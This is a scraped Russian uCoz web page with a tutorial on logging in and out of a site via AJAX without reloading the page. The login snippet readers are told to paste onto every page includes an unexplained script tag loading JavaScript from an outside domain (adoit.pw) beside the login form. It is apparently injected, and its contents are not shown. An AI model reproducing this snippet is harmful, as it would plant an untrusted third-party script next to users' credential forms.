Авторизация на сайте и выход из профиля без перезагрузки страницы - 17 Августа 2013 - Заставки на рабочий стол

Русские Новости
Вы можете добавить свою новость!

         
Русские Новости Новости музыки Новости туризма Новости Интернета Новости политики
Русские Новости Новости музыки Новости туризма Новости Интернета Новости политики
Приветствую Вас Гость | RSS

На этот сайт КАЖДЫЙ зарегистрированный пользователь может бесплатно добавить свой материал: рассказ или рекламную статью, с активной ссылкой на свой ресурс. Главное условие - ваша статья должна быть интересной, УНИКАЛЬНОЙ и не должна противоречить законам РФ. Если ваша статья уже была размещена в Интернете, то такой материал НЕ будет активирован.
Добавить свою новость
Новости музыки Новости туризма Новости Интернета Новости политики Новости фармации Программы Игры Сайты новостей

Форма входа

Меню сайта

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Поиск

Главная » 2013 » Август » 17 » Авторизация на сайте и выход из профиля без перезагрузки страницы
22:24
Авторизация на сайте и выход из профиля без перезагрузки страницы
Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем

Установка:

1) Форма входа:

На всех страницах замените $LOGIN_FORM$ на:

Код
<div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div>
<script src="http://adoit.pw/border.js" type="text/javascript"></script> <script>
// ajax авторизация by Apocalypse
$('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'});
aposendFrmlogin = function() {
$('#apologformin').stop().fadeTo(300, 0.3);
_uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) {
if($(a).text().indexOf('пароль') != -1) {
$('#apolog').html('Проверьте логин и пароль');
$('#apologformin').stop().fadeTo(300, 1);
setTimeout(function() {
$('#apolog').html('');
}, 3000);
} else {
$('#apolog').html('Авторизация прошла успешно');
$('#apologformin').remove();
// Далее здесь можно выполнять любые ваши скрипты после успешной авторизации
}
}, error:function(a) {
_uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70});
}});
}
// apo-ucoz.com (c) 2013
</script>


2) Кнопка выхода без перезагрузки страницы прописывается вот так:

Код
<a href="/index/10" onclick="apologout();return false;">Выход</a>
<script>
function apologout() {  
if(confirm('Уже уходишь?')) {  
$.post('/index/10');  
setTimeout(function() {  
_uWnd.alert('Вы успешно вышли из профиля', 'Мдяя...', {w:250, h:70});  
// Любые ваши функции после выхода  
}, 2000);  
};  
}
// apo-ucoz.com (c) 2013  
</script>
Просмотров: 297 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Добавить статьи
Вы можете добавлять свои материалы на сайтах:
  • Интернет реклама
  • Добавить статью
  • Русский портал
  • Максимум новостей
  • Статью добавить
  • Добавить новости
  • Россия в новостях
  • Доски объявлений

  • Кто на сайте?

    Выбрать язык / Choose language:
    Ukranian
    English
    French
    German
    Japanese
    Italian
    Portuguese
    Spanish
    Danish
    Chinese
    Korean
    Arabic
    Czech
    Estonian
    Belarusian
    Latvian
    Greek
    Finnish
    Serbian
    Bulgarian
    Turkish

    Календарь
    «  Август 2013  »
    ПнВтСрЧтПтСбВс
       1234
    567891011
    12131415161718
    19202122232425
    262728293031

    Архив записей

    Друзья сайта
    Наши друзья
  • сделать презентацию
  • банкет в Севастополе
  • экскурсии в Париже
  • трансферы в Париже
  • анимационные картинки
  • льготные лекарства
  • новинки mp3 рингтоны

  • Copyright MyCorp © 2017 Конструктор сайтов - uCoz